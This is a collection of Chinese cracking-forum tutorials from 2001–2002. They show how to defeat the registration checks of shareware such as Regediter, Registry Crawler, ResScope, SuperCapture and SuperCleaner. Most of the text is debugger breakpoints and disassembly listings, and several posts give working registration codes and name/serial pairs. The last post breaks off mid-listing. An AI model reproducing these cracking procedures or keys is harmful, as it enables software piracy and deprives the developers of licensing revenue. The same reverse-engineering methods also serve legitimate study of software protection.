167:00409e70 cmp [ebp-04],esi　[ebp-04]是你输入的密码，ESI是真正的注册码
所以设中断　bpx 409e70
? esi 就是真正的注册码。如果看到的是负数时，重新设中断为BPX　00409e53再？ESI就会看到真正的注册码。另一个名字可以有许多注册码。字母的大小写程序不加以区分。如：wangwei:1433841600　WANGWEI:1433841600


Regediter 1.3

 标 题:Regediter 1.3 破解(得到注册码) (9千字)
发信人:fwnl
时 间:2002-1-23 10:13:14
详细信息:
Regediter 1.3 破解(得到注册码)
crack by fwnl
破解工具:trw2000 1.22 W32DASM 8.93
软件下载：http://file2.mydrivers.com/tools/reg/RegEditer.zip
http://newhua.ruyi.com/down/RegEditer.zip
软件说明:RegEditer 1.3中文版For Win9x/ME/2000/XP 放弃微软自带的注册表编辑器吧！使用RegEditer每个人都可以成为注册表高手，永远解除你对注册标的那种神秘感。如果你细心的使用RegEditer，你会发现管理注册表是件轻松、愉快地事情
RegEditer是用来编辑、管理“注册表”设置的功能强大的工具。RegEditer为你提供了许多强大、有趣的功能。如强大的查找功能（支持通配符）。大数据存储，将一个文件装入注册表（长度太大不推荐）。将注册表内容按图片看（如果数据是支持的图片格式，参阅“图片格式”），将某一选定数据存入文件。批量替换指定字符串。注册表主键拷贝，粘贴。批量注册表数据拷贝粘贴。收藏夹、直接跳砖、地址输入支持。等功能是你能快速定位要编辑的内容。你能利用RegEditer能查看主键下的所有内容，你能批量编辑它，将它直接导入注册表的功能。类似的新颖强大的功能还有很多。如果你细心的使用RegEditer。你会发现管理注册表很轻松，很有趣，不再繁杂，难懂，甚至可以成为一门艺术。RegEditer是一个绿色软件，你直接将它拷到你的计算机上就可运行。

用trw2000载入regediter.exe，按F5后出现注册对话框，名字可以乱填.
注册码以KGL-XXXXX-XXXX-XXXXXX的形式填，至于为什么可看下面代码注释.
(XXXXXXXXX代表任意字符)
Ctrl+N 回trw2000后下 bpx hmemcpy,按F5返回程序后按确定被中断, bd * 暂时关掉断点后按F12几下来到(我按了14下)下面这里
:0048202 ret ==>按F10就到了 004BFE5C
:0048203 nop
:0048204 push ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
:004BFDED(C)

:004BFE5C 8B45FC mov eax, dword ptr [ebp-04]
:004BFE5F E82C55FDFF call 00495390 //关键call，F8进入
:004BFE64 84C0 test al, al
:004BFE66 7460 je 004BFEC8 //一定不能跳

上面按F8后来进入call来到:
* Referenced by a CALL at Addresses:
|:004BFE5F , :004C1C0E
|
:00495390 55 push ebp
:00495391 8BEC mov ebp, esp
:00495393 33C9 xor ecx, ecx
:00495395 51 push ecx
:00495396 51 push ecx
:00495397 51 push ecx
:00495398 51 push ecx
:00495399 51 push ecx
:0049539A 53 push ebx
:0049539B 56 push esi
:0049539C 57 push edi
:0049539D 8945FC mov dword ptr [ebp-04], eax
:004953A0 8B45FC mov eax, dword ptr [ebp-04]
:004953A3 E8E8F3F6FF call 00404790
:004953A8 33C0 xor eax, eax
:004953AA 55 push ebp
:004953AB 6803554900 push 00495503
:004953B0 64FF30 push dword ptr fs:[eax]
:004953B3 648920 mov dword ptr fs:[eax], esp
:004953B6 33DB xor ebx, ebx
:004953B8 33C0 xor eax, eax
:004953BA 55 push ebp
:004953BB 68DC544900 push 004954DC
:004953C0 64FF30 push dword ptr fs:[eax]
:004953C3 648920 mov dword ptr fs:[eax], esp
:004953C6 8B45FC mov eax, dword ptr [ebp-04]
:004953C9 E8DAF1F6FF call 004045A8
:004953CE 83F816 cmp eax, 00000016
:004953D1 740D je 004953E0
:004953D3 33C0 xor eax, eax
:004953D5 5A pop edx
:004953D6 59 pop ecx
:004953D7 59 pop ecx
:004953D8 648910 mov dword ptr fs:[eax], edx
:004953DB E908010000 jmp 004954E8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004953D1(C)
|
:004953E0 8D45F0 lea eax, dword ptr [ebp-10]
:004953E3 E808EFF6FF call 004042F0
:004953E8 8D45F0 lea eax, dword ptr [ebp-10]
:004953EB BA1C554900 mov edx, 0049551C
:004953F0 E8BBF1F6FF call 004045B0 <==d edx 得 K
:004953F5 8D45F0 lea eax, dword ptr [ebp-10]
:004953F8 BA28554900 mov edx, 00495528 <==d edx 得 G
:004953FD E8AEF1F6FF call 004045B0
:00495402 8D45F0 lea eax, dword ptr [ebp-10]
:00495405 BA34554900 mov edx, 00495534 <==d edx 得 L
:0049540A E8A1F1F6FF call 004045B0
:0049540F 8D45F0 lea eax, dword ptr [ebp-10]
:00495412 BA40554900 mov edx, 00495540 <==d edx 得 -
:00495417 E894F1F6FF call 004045B0
:0049541C 8B45F0 mov eax, dword ptr [ebp-10]
:0049541F E87CF3F6FF call 004047A0 <==d eax 得 KGL-
:00495424 50 push eax
:00495425 8B45FC mov eax, dword ptr [ebp-04]
:00495428 E873F3F6FF call 004047A0
:0049542D 8BF0 mov esi, eax
:0049542F 8BC6 mov eax, esi
:00495431 5A pop edx
:00495432 E8B93EF7FF call 004092F0
:00495437 8BF8 mov edi, eax
:00495439 3BFE cmp edi, esi
:0049543B 740D je 0049544A
:0049543D 33C0 xor eax, eax
:0049543F 5A pop edx
:00495440 59 pop ecx
:00495441 59 pop ecx
:00495442 648910 mov dword ptr fs:[eax], edx
:00495445 E99E000000 jmp 004954E8

通过上面这一段代码可知正解注册码形式为KGL-xxxxxxxxxxxxxxxxxx 共22位

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049543B(C)
|
:0049544A 8B45FC mov eax, dword ptr [ebp-04] 2d 的ASCⅡ码是 -
:0049544D 8078032D cmp byte ptr [eax+03], 2D <==比较注册码第3后是否是 "-"
:00495451 7512 jne 00495465
:00495453 8B45FC mov eax, dword ptr [ebp-04]
:00495456 80780A2D cmp byte ptr [eax+0A], 2D <==比较注册码第10后是否是 -
:0049545A 7509 jne 00495465
:0049545C 8B45FC mov eax, dword ptr [ebp-04]
:0049545F 80780F2D cmp byte ptr [eax+0F], 2D <==比较注册码第15后是否是 -
:00495463 740A je 0049546F
通过上面这一段代码可知正解注册码形式为KGL-xxxxxx-xxxx-xxxxxx 共22位
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00495451(C), :0049545A(C)
|
:00495465 33C0 xor eax, eax
:00495467 5A pop edx
:00495468 59 pop ecx
:00495469 59 pop ecx
:0049546A 648910 mov dword ptr fs:[eax], edx
:0049546D EB79 jmp 004954E8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00495463(C)
|
:0049546F 8D45F8 lea eax, dword ptr [ebp-08]
:00495472 50 push eax
:00495473 B906000000 mov ecx, 00000006
:00495478 BA05000000 mov edx, 00000005
:0049547D 8B45FC mov eax, dword ptr [ebp-04]
:00495480 E87BF3F6FF call 00404800
:00495485 8D45F4 lea eax, dword ptr [ebp-0C]
:00495488 50 push eax
:00495489 B904000000 mov ecx, 00000004
:0049548E BA0C000000 mov edx, 0000000C
:00495493 8B45FC mov eax, dword ptr [ebp-04]
:00495496 E865F3F6FF call 00404800
:0049549B 8D45EC lea eax, dword ptr [ebp-14]
:0049549E 50 push eax
:0049549F B906000000 mov ecx, 00000006
:004954A4 BA11000000 mov edx, 00000011
:004954A9 8B45FC mov eax, dword ptr [ebp-04]
:004954AC E84FF3F6FF call 00404800
:004954B1 8D4DF0 lea ecx, dword ptr [ebp-10]
:004954B4 8B55F4 mov edx, dword ptr [ebp-0C]
:004954B7 8B45F8 mov eax, dword ptr [ebp-08]
:004954BA E895FBFFFF call 00495054
:004954BF 8B45EC mov eax, dword ptr [ebp-14]
:004954C2 8B55F0 mov edx, dword ptr [ebp-10]
:004954C5 E822F2F6FF call 004046EC <===d edx 得注册码的最后6位真码
:004954CA 7504 jne 004954D0
:004954CC B301 mov bl, 01
:004954CE EB02 jmp 004954D2

上面这段是通过计算 KGL- 后你填的10 位注册码来得出最后6位真码，由于本人太菜所以是怎么算出的就
搞不明白了 :)
最后总结一下: 注册码为22位，因为不填22位那个注册按键不亮
形式为KGL-XXXXXX-XXXX-XXXXX
我破解时填的注册码为 KGL-8FWNL8-FWNL-888888 , 在004954C5处 d edx 得 COY75I
所以我得出正确注册码是: KGL-8FWNL8-FWNL-COY75I 注册码与姓名无关 最后特别感谢好友alphakk的指点.
祝各位玩得开心!!!
fwnl
     2002.1.22
长沙


Registry Crawler 4.0.0.3

 标 题:Registry Crawler 4.0.0.3破解 (6千字)
发信人:fwnl
时 间:2002-2-28 12:02:49
详细信息:
Registry Crawler 4.0.0.3破解
Crack by fwnl
版本:Registry Crawler4.0.0.3 炎之川汉化版
软件说明：Registry Crawler 是强大的用户和开发者快速定位并配置注册表的工具软
件。一个强大的搜索引擎允许你基于搜索标准查找注册信息。允许你单击超链
接显示条目。支持书签功能，可在注册表中的任何键中添加书签并直接从系统
托盘读取。此特征允许你访问你经常存取的注册键而无需手工打开 REGEDIT。
每天需要操作注册表的用户会发现 Registry Crawler 是一个节约时间的工具。
官方主页: http://www.4dev.com
汉化补丁: http://www.hanzify.org/skipli/chinese/
HAC-RCrawler4003-Fire.zip (460k)
破解工具:TRW2000
trw2000载入程序后，填入注册码(用户名不能少于8位)，Ctrl+N然后 bpx hmemcpy. f12数下来到

:0040B040 E8ABFCFFFF call 0040ACF0 //关键,F8进入
:0040B045 85C0 test eax, eax
:0040B047 0F849D000000 je 0040B0EA //一定不能跳

* Possible StringData Ref from Data Obj ->"Software\4Developers\RCrawler"
|

//进入40b040这个call后

* Referenced by a CALL at Addresses:
|:0040AAF3 , :0040B040
|
:0040ACF0 83EC24 sub esp, 00000024
:0040ACF3 83C9FF or ecx, FFFFFFFF
:0040ACF6 33C0 xor eax, eax
:0040ACF8 55 push ebp
:0040ACF9 57 push edi

* Possible Reference to Dialog:
|
:0040ACFA BF10E54500 mov edi, 0045E510
:0040ACFF F2 repnz
:0040AD00 AE scasb
:0040AD01 F7D1 not ecx
:0040AD03 49 dec ecx
:0040AD04 8BE9 mov ebp, ecx
:0040AD06 83FD08 cmp ebp, 00000008 //用户名不能小于8
:0040AD09 7D06 jge 0040AD11
:0040AD0B 5F pop edi
:0040AD0C 5D pop ebp
:0040AD0D 83C424 add esp, 00000024
:0040AD10 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040AD09(C)
|
:0040AD11 53 push ebx
:0040AD12 56 push esi
:0040AD13 6810E54500 push 0045E510
:0040AD18 E845D00100 call 00427D62
:0040AD1D B907000000 mov ecx, 00000007
:0040AD22 33C0 xor eax, eax
:0040AD24 8D7C2419 lea edi, dword ptr [esp+19]
:0040AD28 C644241800 mov [esp+18], 00
:0040AD2D F3 repz
:0040AD2E AB stosd
:0040AD2F 66AB stosw
:0040AD31 83C404 add esp, 00000004
:0040AD34 AA stosb
:0040AD35 8D442414 lea eax, dword ptr [esp+14]

* Possible Reference to Dialog:
|
:0040AD39 68E48B4500 push 00458BE4
:0040AD3E 50 push eax

* Reference To: KERNEL32.lstrcpyA, Ord:0302h
|
:0040AD3F FF155C834400 Call dword ptr [0044835C]
:0040AD45 33DB xor ebx, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040ADFA(C)
|

* Possible StringData Ref from Data Obj ->"0123456789"
|
:0040AD47 8B35FC8A4500 mov esi, dword ptr [00458AFC]
:0040AD4D 83C9FF or ecx, FFFFFFFF
:0040AD50 8BFE mov edi, esi
:0040AD52 33C0 xor eax, eax
:0040AD54 F2 repnz
:0040AD55 AE scasb
:0040AD56 F7D1 not ecx
:0040AD58 49 dec ecx
:0040AD59 8BC3 mov eax, ebx
:0040AD5B 33D2 xor edx, edx
:0040AD5D 8BFE mov edi, esi
:0040AD5F F7F1 div ecx
:0040AD61 8BC3 mov eax, ebx
:0040AD63 6A01 push 00000001
:0040AD65 0FBE0C32 movsx ecx, byte ptr [edx+esi]
:0040AD69 33D2 xor edx, edx
:0040AD6B F7F5 div ebp
:0040AD6D 0FBE8210E54500 movsx eax, byte ptr [edx+0045E510]
:0040AD74 8BD0 mov edx, eax
:0040AD76 C1E205 shl edx, 05
:0040AD79 03D0 add edx, eax
:0040AD7B 8D0450 lea eax, dword ptr [eax+2*edx]
:0040AD7E 03C8 add ecx, eax
:0040AD80 8BC3 mov eax, ebx
:0040AD82 0FAFC3 imul eax, ebx
:0040AD85 0FAFC3 imul eax, ebx
:0040AD88 0FAFC5 imul eax, ebp
:0040AD8B 8D1480 lea edx, dword ptr [eax+4*eax]
:0040AD8E 8D0450 lea eax, dword ptr [eax+2*edx]
:0040AD91 03C8 add ecx, eax
:0040AD93 33C0 xor eax, eax
:0040AD95 8BD1 mov edx, ecx
:0040AD97 83C9FF or ecx, FFFFFFFF
:0040AD9A F2 repnz
:0040AD9B AE scasb
:0040AD9C F7D1 not ecx
:0040AD9E 8BC2 mov eax, edx
:0040ADA0 49 dec ecx
:0040ADA1 33D2 xor edx, edx
:0040ADA3 F7F1 div ecx
:0040ADA5 8D442418 lea eax, dword ptr [esp+18]
:0040ADA9 03D6 add edx, esi
:0040ADAB 52 push edx
:0040ADAC 50 push eax
:0040ADAD E82EEB0000 call 004198E0
:0040ADB2 83C40C add esp, 0000000C
:0040ADB5 85DB test ebx, ebx
:0040ADB7 743D je 0040ADF6 //上面是一个循环，bpx 0040ADB7 按9下F5 d eax 就
可见真注册码了
:0040ADB9 8BC3 mov eax, ebx
:0040ADBB 33D2 xor edx, edx
:0040ADBD B903000000 mov ecx, 00000003
:0040ADC2 F7F1 div ecx
:0040ADC4 85D2 test edx, edx
:0040ADC6 752E jne 0040ADF6

name: fwnlfwnl sn: 8267-2043-862-56

****** *** fwnl
*** ** 2002.2.28
******** **** ** *** ****** ** 长沙
** *** * ** ** ** **
*** ******* *** ** ***
** ** ** ** *** ****
***


ResScope V1.35

 标 题:ResScope V1.35 (7千字)
发信人:decolor2001
时 间:2001-9-30 19:49:26
详细信息:

软件名：ResScope V1.35
大 小：435KB
下载地：http://go6.163.com/restools/rs010909.zip
保 护：加壳（很好脱）；注册框（无注册成功、失败提示）
说 明：据说比 eXescope 更强的软件资源分析工具。我在 ResScope 中转了无数圈，找到了注册名，但无法找到注册码，还望大家指点迷津！！！！

破这个软件费了些周折。。。
注册时没有提示框，输入注册信息后，把注册信息放入了注册表，是不是程序启动时才进行注册判断呢？后来用regmon也无斩或，也就是启动时它没有读注册信息，那它是根据什么来判断已注册的呢？
既然软件中的保存功能和导出功能被禁止，那用它打开一个文件试试，再export resource 有错误信息了，呵呵~~~~

1.脱壳，查得是Aspack 2.001，用Unaspack可以脱

2.delphi程序，用dede打开程序，process。。。
dump successfull后，file-> load symbol file->vcl5.dsf，再看procedures，看一下RegUnit->Button1Click->disamssemble，果然只是把注册信息放入了注册表，没有进行注册判断。。。。

3.再看RXMain->Save Resource（为什么看这个？因为它就是export resource的事件，从它的additional data可以看到）->disamssemble，慢慢看，看到什么了？

***** TRY
|
004CA143 64FF30 push dword ptr fs:[eax]
004CA146 648920 mov fs:[eax], esp

|
004CA149 E85EF9FEFF call 004B9AAC ->关键call
004CA14E 84C0 test al, al
004CA150 7536 jnz 004CA188 ->这一跳就走了

|
004CA152 E891FDFEFF call 004B9EE8
004CA157 84C0 test al, al
004CA159 7407 jz 004CA162

|
004CA15B E8CCFAFEFF call 004B9C2C
004CA160 EB26 jmp 004CA188
004CA162 6A10 push $10
004CA164 A194654E00 mov eax, dword ptr [$4E6594]
004CA169 8B00 mov eax, [eax]

* Reference to: system.@LStrToPChar;
|
004CA16B E8349FF3FF call 004040A4
004CA170 8BC8 mov ecx, eax

* Possible String Reference to: 'ResScope is shareware.Please downlo
| ad the new edition.' ->错误提示
|
004CA172 BA44A64C00 mov edx, $004CA644

* Reference to TApplication instance
|
004CA177 A1B0654E00 mov eax, dword ptr [$4E65B0]
004CA17C 8B00 mov eax, [eax]

* Reference to: forms.TApplication.MessageBox(TApplication;System.PChar;System.PChar;System.Longint):System.Integer;
|
004CA17E E8E592F8FF call 00453468
004CA183 E992040000 jmp 004CA61A
004CA188 55 push ebp

进入call 004B9AAC 看看，双击。。。又看到什么了。。。

***** TRY
|
004B9ADF 64FF30 push dword ptr fs:[eax]
004B9AE2 648920 mov fs:[eax], esp
004B9AE5 BA02000080 mov edx, $80000002
004B9AEA 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.SetRootKey(TRegistry;Windows.HKEY);
|
004B9AED E84AF8FFFF call 004B933C
004B9AF2 B101 mov cl, $01

* Possible String Reference to: 'SOFTWARE\RESTOOLS\ResScope'
|
004B9AF4 BAF09B4B00 mov edx, $004B9BF0
004B9AF9 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.OpenKey(TRegistry;System.AnsiString;System.Boolean):System.Boolean;
|
004B9AFC E89FF8FFFF call 004B93A0
004B9B01 84C0 test al, al
004B9B03 0F8497000000 jz 004B9BA0
004B9B09 8D45F4 lea eax, [ebp-$0C]

* Reference to: system.@LStrClr(String);
|
004B9B0C E84FA1F4FF call 00403C60
004B9B11 8D45F0 lea eax, [ebp-$10]

* Reference to: system.@LStrClr(String);
|
004B9B14 E847A1F4FF call 00403C60

* Possible String Reference to: 'reguser'
|
004B9B19 BA149C4B00 mov edx, $004B9C14
004B9B1E 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ValueExists(TRegistry;System.AnsiString):System.Boolean;
|
004B9B21 E8DEFBFFFF call 004B9704
004B9B26 84C0 test al, al
004B9B28 7410 jz 004B9B3A
004B9B2A 8D4DF4 lea ecx, [ebp-$0C]

* Possible String Reference to: 'reguser'
|
004B9B2D BA149C4B00 mov edx, $004B9C14
004B9B32 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ReadString(TRegistry;System.AnsiString):System.AnsiString;
|
004B9B35 E82EFAFFFF call 004B9568

* Possible String Reference to: 'regcode'
|
004B9B3A BA249C4B00 mov edx, $004B9C24
004B9B3F 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ValueExists(TRegistry;System.AnsiString):System.Boolean;
|
004B9B42 E8BDFBFFFF call 004B9704
004B9B47 84C0 test al, al
004B9B49 7410 jz 004B9B5B
004B9B4B 8D4DF0 lea ecx, [ebp-$10]

* Possible String Reference to: 'regcode'
|
004B9B4E BA249C4B00 mov edx, $004B9C24
004B9B53 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ReadString(TRegistry;System.AnsiString):System.AnsiString;
|
004B9B56 E80DFAFFFF call 004B9568
004B9B5B 8B45F0 mov eax, [ebp-$10]

* Reference to: system.@LStrLen:Integer;
| or: system.@DynArrayLength;
| or: system.DynArraySize(Pointer):Integer;
|
004B9B5E E87DA3F4FF call 00403EE0
004B9B63 83F828 cmp eax, +$28 ->注册码要是40位
004B9B66 7538 jnz 004B9BA0
004B9B68 8B45F4 mov eax, [ebp-$0C]

* Reference to: system.@LStrLen:Integer;
| or: system.@DynArrayLength;
| or: system.DynArraySize(Pointer):Integer;
|
004B9B6B E870A3F4FF call 00403EE0
004B9B70 85C0 test eax, eax
004B9B72 7E2C jle 004B9BA0
004B9B74 68338C0000 push $00008C33
004B9B79 8D45EC lea eax, [ebp-$14]
004B9B7C 50 push eax
004B9B7D B982310000 mov ecx, $00003182
004B9B82 BAD5030000 mov edx, $000003D5
004B9B87 8B45F4 mov eax, [ebp-$0C]

|
004B9B8A E80DFCFFFF call 004B979C
004B9B8F 8B45EC mov eax, [ebp-$14]
004B9B92 8B55F0 mov edx, [ebp-$10] ->真注册码

* Reference to: system.@LStrCmp;
|
004B9B95 E856A4F4FF call 00403FF0
004B9B9A 7504 jnz 004B9BA0 ->注册比较了
004B9B9C C645FF01 mov byte ptr [ebp-$01], $01
004B9BA0 33C0 xor eax, eax
004B9BA2 5A pop edx
004B9BA3 59 pop ecx
004B9BA4 59 pop ecx
004B9BA5 648910 mov fs:[eax], edx

****** FINALLY

从那些 reference 我们就可以看得很清楚了，它到底进行了什么操作。。。

现在知道该怎么做了吧！

4.用 trw2000 载入程序，下断点bpx 004B9B8F ，g，载入程序后，可以打开一个文件，再调用export resource 顺利中断。。。F10 两下，下命令 d edx ，看到注册码了吧，搞定，收工。（注意，要先输入40位的注册码，才可以下004B9B8F中断）

P.S. 其实这个软件也不错，可惜名气不及Exescope，何况用exescope也用惯了，没有用户还要注册，唉！借此宣传一下这个软件，支持国货嘛！


ResScope1.35

 标 题:申请加入BCG第二篇：简单注册ResScope1.35 (1千字)
发信人:pzero
时 间:2001-10-6 22:08:02
详细信息:
软件简介：
ResScope VER 1.35 - 极强的软件资源分析和编辑工具，作者的另外一个程序FreeRes前面的文章已经讨论过了。
下载地址：http://go6.163.com/restools/rs010909.zip
破解目的：找出注册码。
工具：Trw2000 1.22
原exe文件是加壳的，用fi可以看出来，用相应的程序可以去掉壳。
程序在你输入注册码后并不马上进行计算比较，而是把你输入的注册名和注册码存储在注册表里，那在什么时候才进行比较呢？这就是破解的关键所在了，找到这个地方，破解也就成功了一半！程序是在这个时候进行比较的：你点击Help菜单的时候，具体如下：
启动程序，输入注册名字和注册码，确定。
Ctrl＋N 呼出Trw2000
bpx regqueryvalueexa 下断点
f5 返回程序
点击程序 Help 菜单，“啪”断下来了吧！！
bc * 清除断点
pmodule 返回程序领空
慢慢按 F10 来到如下地方，（你可以一直下D命令，看到程序在读注册表的reguser和regcode吧？）
……
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B9B49(C)
|
:004B9B5B 8B45F0 mov eax, dword ptr [ebp-10] ;<-输入的假注册码
:004B9B5E E87DA3F4FF call 00403EE0
:004B9B63 83F828 cmp eax, 00000028 ;<-注册码的长度40
:004B9B66 7538 jne 004B9BA0 ;<-不等就跳，注册失败
:004B9B68 8B45F4 mov eax, dword ptr [ebp-0C]
:004B9B6B E870A3F4FF call 00403EE0
:004B9B70 85C0 test eax, eax
:004B9B72 7E2C jle 004B9BA0
:004B9B74 68338C0000 push 00008C33
:004B9B79 8D45EC lea eax, dword ptr [ebp-14]
:004B9B7C 50 push eax
:004B9B7D B982310000 mov ecx, 00003182
:004B9B82 BAD5030000 mov edx, 000003D5
:004B9B87 8B45F4 mov eax, dword ptr [ebp-0C]
:004B9B8A E80DFCFFFF call 004B979C
:004B9B8F 8B45EC mov eax, dword ptr [ebp-14] ;<-真注册码
:004B9B92 8B55F0 mov edx, dword ptr [ebp-10] ;<-假注册码
:004B9B95 E856A4F4FF call 00403FF0 ;<-比较过程
:004B9B9A 7504 jne 004B9BA0 ;<-不等就跳，注册失败
:004B9B9C C645FF01 mov [ebp-01], 01
……
到此，注册码已经成功获得，还是收工吧（太懒了吧？），没办法，我本来就是懒虫嘛，呵呵……


SuperCapture 3.04

 标 题:SuperCapture 3.04 破解历程---半小时 (5千字)
发信人:Banhouse
时 间:2002-2-14 19:49:56
详细信息:
SuperCapture 3.04 破解历程---半小时

2002年1月10日破解
软件名称：SuperCapture 3.04
软件类型：抓图工具
限制类型：45天试用

现场听众：

1.首先装入Trw2000

2.运行SuperCapture 3.0x（？？刚才不是说3.04吗？怎么现在又变成了3.0x？哦这个问题·····，3.02和3.04注册码能共用所以
我才这样说的。）

3.程序一开始就出现了“注册”和“试用”的选项，选择“注册”再点击输入注册码；注册的形式为 XXXX-XXXX-XXXX-XXXX（算一算是

19个字母16进制等于13h），这是因为跟踪过才知道的，等会再交待如何得知。

4.来到输入注册码的窗口，Ctrl-N激活Trw2000，然后输入Bpx GetDlgItemTextA 设置断点。

按F5返回SuperCapture3.0x的注册窗口

第一行是SuperCapture3.0x给出的用户码 用户码为: ATKZ-KJMH-MHCH-QPCB

第二行是用户输入的注册码 随意输入: AAAA-BBBB-CCCC-DDDD

然后用你的Mouse点击“确认”

5.Bingo!断点有效！开工啦（虽然是在新年开工，但是没有利钱的，休想········）

指针中断在 User32!GetDlgItemTextA
0167:BFF51743 B1A1 MOV CL,A1 ;此时EIP指针在这里
XXXX:XXXX1745 55 PUSH EBP
·
·<F10>单步运行，按N次
·
XXXX:XXXX1764 E8E76B0000 CALL KERNEL32!SUnMapLs_IP_EBP
XXXX:XXXX1769 C9 LEAVE
XXXX:XXXX176A C21000 RET 10 ;返回调用子程序的上一级程序中
·
·<F10>单步运行，按N次
·
016F:00492AB3 FF154C264B00 CALL USER32!GetItemTextA ;返回来就指针在这里，也就是说：是这段代码调用
用子程序向用户要求输入注册码的
XXXX:XXXX2AB9 ???????????? JMP SHOTR 00492ACB ;返回后程序无条件跳至 cs:00492ACB
· ;?????????是我忘记抄下的机器码，在下实在是粗心
·<F10>单步运行，按N次
·
·
XXXX:XXXX2ACB 5D POP EBP
XXXX:XXXX2ACC 20 0C 00 RET ;再一次返回上一级的程序 0167:0041FA45 那里。
·
·<F10>单步运行，按N次
·
0167:0041FA45 E853300700 CALL 00492A90 ;从上面子程序返回在这里。
XXXX:XXXXFA4A 85C0 TEST EAX,EAX ;这时大家看看寄存器EAX=？ 13吧?这就是我说为什么
XXXX:XXXXFA4C 0F8486000000 JZ NEAR 0041FAD8 ;要输入13(十六进制)=19(十进制)个字母的原因。
· ;这时我已输入了AAAA-BBBB-CCCC-DDDD加上减号共是
· ;19个字节即是13(十六进制)，所以程序没有跳转。
·<F10>单步运行，按N次
·
XXXX:XXXXFA52 68CCEB4D00 PUSH DWORD 0041FAD8
XXXX:XXXXFA57 8D4C240C LEA ECX,[ESP+0C] ;大家记得D命令吗?不妨看看ESP+0C存放着什么东东啊
· ;不看不知道，一看吓一跳！看见了！
· ;刚才我输入假注册码：AAAA-BBBB-CCCC-DDDD
·
·<F10>单步运行，按N次
·
·
XXXX:XXXXFA5E 8D9348020000 LEA EDX,[EBX+0248] ;那这个有必要要看吗？当然要啦，这个还有人问？
· ;看见什么了？看见用户码:ATKZ-KJMH-MHCH-QPCB
·
·
·<F10>单步运行，按N次
·
·
0167:0041FA67 E8F4ECFFFF CALL 0041E760 ;这是多番跟踪得出的——这是核心！即算出正确注册
· ;的主程序，有性趣的朋友不妨追踪到里面研究研究啊
· ;在这我就不得出来了，让有性趣的朋友算算（其实是
· ;我不会算，反正知道是算注册码的主程序）。
· ;现场听众起哄了····开始有人扔臭鸡蛋了···
·

别再打我了，说就说吧。

在0167:0041FA67 E8F4ECFFFF CALL 0041E760 ;这里同上面的一样按<F10>带过。
· ;然后把你的机器代码段窗口拉宽几行，上下看看。
· ;大家看见什么了？（听众，怒视望我）
· ;好了，上面存着如下字节串
· ;字节串一：ATKZKJMHMHCHQPCB
· ;字节串二：AAAABBBBCCCCDDDD
· ;字节串三：NLEKSCUEOHTPRXHL
· ;字节串四：AAAA-BBBB-CCCC-DDDD
· ;
· ;以上的字节串是用<F8>跟踪，
· ;进入 “CALL 0041E760 ”再用D命令查看ESP寄存器所得

听众们，猜注册码是什么？

听众甲曰：是ATKZKJMHMHCHQPCB
听众乙曰：是AAAABBBBCCCCDDDD
听众丙曰：是NLEKSCUEOHTPRXHL
听众丁曰：是AAAA-BBBB-CCCC-DDDD

全错！来人给我打！

整理：

破解历时30分钟
设过两个断点：
其一 Bpx GetWindowTextA
其二 Bpx GetDlgItemTextA

随便输入：AAAA-BBBB-CCCC-DDDD = AAAABBBBCCCCDDDD
取用户码：ATKZKJMHMHCHQPCB = ATKZ-KJMH-MHCH-QPCB

正确密码：NLEKSCUEOHTPRXHL = NLEK-SCUE-OHTP-RXHL


SuperCleaner 2.26

 标 题:菜鸟初鸣--最易破解的软件 supercleaner (2千字)
发信人:wolflh2002
时 间:2001-10-11 20:16:42
详细信息:
破解者：十二
目标： SuperCleaner 2.26
应用平台：Win9X/ME/WinNT/2K
下载：http://sd.onlinedown.net/
大小：404k
软件用途： 一款很顺手很不错的系统设置软件,小而且精,让你爱不释手

因为我就拜读过看雪老师和各位前辈的一些教程,
所以无法有的地方理解错误或无法写得更为详细.
还有就是我无法知道自己的方法是否正确或者可行,请多帮帮我!谢谢!!

破解工具: TRW2000

启动 SuperCleaner 2.26,单击输入注册码按钮,输入您的用户名和注册码
Ctrl+N 运行 TRW
下中断 bpx hmemcpy
F5 继续
点击 OK 键
TRW 拦下
bc* 取消所有中断
pmodule 直接到程序领空
F10 单步执行 (因为 F12 一下就跳出了)

:0040BCA2 FFD7 call edi ---中断在此
:0040BCA4 8D942408010000 lea edx, dword ptr [esp+00000108]
:0040BCAB 6800010000 push 00000100
:0040BCB0 52 push edx
:0040BCB1 68FC030000 push 000003FC
:0040BCB6 56 push esi
:0040BCB7 FFD7 call edi
:0040BCB9 8D842408010000 lea eax, dword ptr [esp+00000108]
:0040BCC0 8D4C2408 lea ecx, dword ptr [esp+08]
:0040BCC4 50 push eax ---你输入的注册码
:0040BCC5 51 push ecx
:0040BCC6 E845080000 call 0040C510 ---F8 跟入
:0040BCCB 83C408 add esp, 00000008
:0040BCCE 85C0 test eax, eax
:0040BCD0 7447 je 0040BD19 ---注册码错误就跳
:0040BCD2 8D942408010000 lea edx, dword ptr [esp+00000108]

跟入后 F10 单键执行
:0040C50F 90 nop
:0040C510 81EC00010000 sub esp, 00000100
:0040C516 A09C114200 mov al, byte ptr [0042119C]
:0040C51B 57 push edi
:0040C51C 88442404 mov byte ptr [esp+04], al
:0040C520 B93F000000 mov ecx, 0000003F
:0040C525 33C0 xor eax, eax
:0040C527 8D7C2405 lea edi, dword ptr [esp+05]
:0040C52B F3 repz
:0040C52C AB stosd
:0040C52D 8B942408010000 mov edx, dword ptr [esp+00000108]
:0040C534 8D4C2404 lea ecx, dword ptr [esp+04]
:0040C538 66AB stosw
:0040C53A 51 push ecx
:0040C53B 52 push edx
:0040C53C AA stosb
:0040C53D E8AE000000 call 0040C5F0
:0040C542 8B8C2414010000 mov ecx, dword ptr [esp+00000114]
:0040C549 83C408 add esp, 00000008
:0040C54C 8D442404 lea eax, dword ptr [esp+04]
